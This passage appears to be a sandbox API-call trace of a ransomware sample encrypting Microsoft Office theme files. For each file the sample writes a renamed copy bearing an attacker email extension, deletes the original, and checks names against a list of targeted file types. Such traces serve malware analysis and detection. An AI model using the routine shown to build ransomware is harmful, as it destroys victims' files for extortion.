Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0245.345] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0245.345] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0245.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0245.346] GetLastError () returned 0x0 [0245.346] ReadFile (in: hFile=0x388, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x48cf, lpOverlapped=0x0) returned 1 [0245.438] WriteFile (in: hFile=0x3cc, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x48d0, lpOverlapped=0x0) returned 1 [0246.549] ReadFile (in: hFile=0x388, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0246.549] WriteFile (in: hFile=0x3cc, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0246.552] SetEndOfFile (hFile=0x3cc) returned 1 [0246.553] CloseHandle (hObject=0x3cc) returned 1 [0246.964] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0246.964] SetEndOfFile (hFile=0x388) returned 1 [0246.971] CloseHandle (hObject=0x388) returned 1 [0246.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0246.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1 [0246.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.974] lstrlenW (lpString=".doc") returned 4 [0246.974] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0246.974] lstrlenW (lpString=".docx") returned 5 [0246.974] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0246.974] lstrlenW (lpString=".pdf") returned 4 [0246.975] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0246.975] lstrlenW (lpString=".xls") returned 4 [0246.975] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0246.975] lstrlenW (lpString=".xlsx") returned 5 [0246.975] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0246.975] lstrlenW (lpString=".ppt") returned 4 [0246.975] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0246.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.975] lstrlenW (lpString=".zip") returned 4 [0246.975] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0246.975] lstrlenW (lpString=".rar") returned 4 [0246.975] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0246.976] lstrlenW (lpString=".bz2") returned 4 [0246.976] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0246.976] lstrlenW (lpString=".7z") returned 3 [0246.976] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0246.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.976] lstrlenW (lpString=".dbf") returned 4 [0246.976] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0246.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.976] lstrlenW (lpString=".1cd") returned 4 [0246.976] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0246.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.976] lstrlenW (lpString=".jpg") returned 4 [0246.976] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0246.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.977] lstrlenW (lpString=".doc") returned 4 [0246.977] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0246.977] lstrlenW (lpString=".docx") returned 5 [0246.977] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0246.977] lstrlenW (lpString=".pdf") returned 4 [0246.977] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0246.977] lstrlenW (lpString=".xls") returned 4 [0246.977] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0246.977] lstrlenW (lpString=".xlsx") returned 5 [0246.977] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0246.978] lstrlenW (lpString=".ppt") returned 4 [0246.978] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0246.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.978] lstrlenW (lpString=".zip") returned 4 [0246.978] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0246.978] lstrlenW (lpString=".rar") returned 4 [0246.978] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0246.978] lstrlenW (lpString=".bz2") returned 4 [0246.978] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0246.978] lstrlenW (lpString=".7z") returned 3 [0246.978] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0246.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.979] lstrlenW (lpString=".dbf") returned 4 [0246.979] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0246.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.979] lstrlenW (lpString=".1cd") returned 4 [0246.979] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0246.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0246.979] lstrlenW (lpString=".jpg") returned 4 [0246.979] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0246.980] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0246.980] lstrlenW (lpString="Horizon.eftx") returned 12 [0246.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0247.450] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=211090) returned 1 [0247.451] CloseHandle (hObject=0x3cc) returned 1 [0247.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0247.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0247.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0247.521] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0247.521] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0247.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0248.446] GetLastError () returned 0x0 [0248.446] ReadFile (in: hFile=0x304, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x33892, lpOverlapped=0x0) returned 1 [0248.510] WriteFile (in: hFile=0x15c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x338a0, lpOverlapped=0x0) returned 1 [0248.524] ReadFile (in: hFile=0x304, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0248.524] WriteFile (in: hFile=0x15c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.525] SetEndOfFile (hFile=0x15c) returned 1 [0248.525] CloseHandle (hObject=0x15c) returned 1 [0248.525] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0248.526] SetEndOfFile (hFile=0x304) returned 1 [0248.928] CloseHandle (hObject=0x304) returned 1 [0248.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0249.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1 [0251.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.930] lstrlenW (lpString=".doc") returned 4 [0251.930] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0251.930] lstrlenW (lpString=".docx") returned 5 [0251.930] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0251.930] lstrlenW (lpString=".pdf") returned 4 [0251.930] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0251.930] lstrlenW (lpString=".xls") returned 4 [0251.930] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0251.930] lstrlenW (lpString=".xlsx") returned 5 [0251.930] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0251.930] lstrlenW (lpString=".ppt") returned 4 [0251.930] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0251.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.931] lstrlenW (lpString=".zip") returned 4 [0251.931] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0251.931] lstrlenW (lpString=".rar") returned 4 [0251.931] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0251.931] lstrlenW (lpString=".bz2") returned 4 [0251.931] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0251.931] lstrlenW (lpString=".7z") returned 3 [0251.931] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0251.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.931] lstrlenW (lpString=".dbf") returned 4 [0251.931] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0251.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.932] lstrlenW (lpString=".1cd") returned 4 [0251.932] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0251.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.932] lstrlenW (lpString=".jpg") returned 4 [0251.932] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0251.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.933] lstrlenW (lpString=".doc") returned 4 [0251.933] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0251.933] lstrlenW (lpString=".docx") returned 5 [0251.933] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0251.933] lstrlenW (lpString=".pdf") returned 4 [0251.933] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0251.933] lstrlenW (lpString=".xls") returned 4 [0251.934] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0251.934] lstrlenW (lpString=".xlsx") returned 5 [0251.934] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0251.934] lstrlenW (lpString=".ppt") returned 4 [0251.934] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0251.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.934] lstrlenW (lpString=".zip") returned 4 [0251.934] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0251.934] lstrlenW (lpString=".rar") returned 4 [0251.934] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0251.934] lstrlenW (lpString=".bz2") returned 4 [0251.935] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0251.935] lstrlenW (lpString=".7z") returned 3 [0251.935] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0251.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.935] lstrlenW (lpString=".dbf") returned 4 [0251.935] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0251.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.935] lstrlenW (lpString=".1cd") returned 4 [0251.935] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0251.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0251.935] lstrlenW (lpString=".jpg") returned 4 [0251.935] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0251.936] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0251.936] lstrlenW (lpString="Origin.eftx") returned 11 [0251.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.940] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=40941) returned 1 [0251.941] CloseHandle (hObject=0x384) returned 1 [0251.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0252.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0252.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.044] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0252.044] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0252.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0252.070] GetLastError () returned 0x0 [0252.071] ReadFile (in: hFile=0x3ac, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x9fed, lpOverlapped=0x0) returned 1 [0252.080] WriteFile (in: hFile=0x15c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x9ff0, lpOverlapped=0x0) returned 1 [0252.086] ReadFile (in: hFile=0x3ac, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0252.086] WriteFile (in: hFile=0x15c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xea, lpOverlapped=0x0) returned 1 [0252.087] SetEndOfFile (hFile=0x15c) returned 1 [0252.087] CloseHandle (hObject=0x15c) returned 1 [0252.087] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0252.087] SetEndOfFile (hFile=0x3ac) returned 1 [0252.438] CloseHandle (hObject=0x3ac) returned 1 [0252.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0252.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1 [0252.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.789] lstrlenW (lpString=".doc") returned 4 [0252.789] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0252.789] lstrlenW (lpString=".docx") returned 5 [0252.789] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0252.789] lstrlenW (lpString=".pdf") returned 4 [0252.790] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0252.790] lstrlenW (lpString=".xls") returned 4 [0252.790] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0252.790] lstrlenW (lpString=".xlsx") returned 5 [0252.790] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0252.790] lstrlenW (lpString=".ppt") returned 4 [0252.790] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0252.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.790] lstrlenW (lpString=".zip") returned 4 [0252.791] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0252.791] lstrlenW (lpString=".rar") returned 4 [0252.791] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0252.791] lstrlenW (lpString=".bz2") returned 4 [0252.791] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0252.791] lstrlenW (lpString=".7z") returned 3 [0252.791] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0252.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.792] lstrlenW (lpString=".dbf") returned 4 [0252.792] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0252.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.792] lstrlenW (lpString=".1cd") returned 4 [0252.792] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0252.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.792] lstrlenW (lpString=".jpg") returned 4 [0252.792] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0252.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.793] lstrlenW (lpString=".doc") returned 4 [0252.793] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0252.793] lstrlenW (lpString=".docx") returned 5 [0252.793] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0252.793] lstrlenW (lpString=".pdf") returned 4 [0252.793] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0252.793] lstrlenW (lpString=".xls") returned 4 [0252.793] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0252.793] lstrlenW (lpString=".xlsx") returned 5 [0252.793] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0252.793] lstrlenW (lpString=".ppt") returned 4 [0252.793] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0252.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.794] lstrlenW (lpString=".zip") returned 4 [0252.794] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0252.794] lstrlenW (lpString=".rar") returned 4 [0252.794] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0252.794] lstrlenW (lpString=".bz2") returned 4 [0252.794] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0252.794] lstrlenW (lpString=".7z") returned 3 [0252.794] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0252.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.794] lstrlenW (lpString=".dbf") returned 4 [0252.795] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0252.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.795] lstrlenW (lpString=".1cd") returned 4 [0252.795] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0252.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0252.795] lstrlenW (lpString=".jpg") returned 4 [0252.795] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0252.795] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0252.796] lstrlenW (lpString="Pushpin.eftx") returned 12 [0252.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0252.892] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=782121) returned 1 [0252.892] CloseHandle (hObject=0x3d4) returned 1 [0252.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0253.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0253.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0253.050] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0253.050] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, 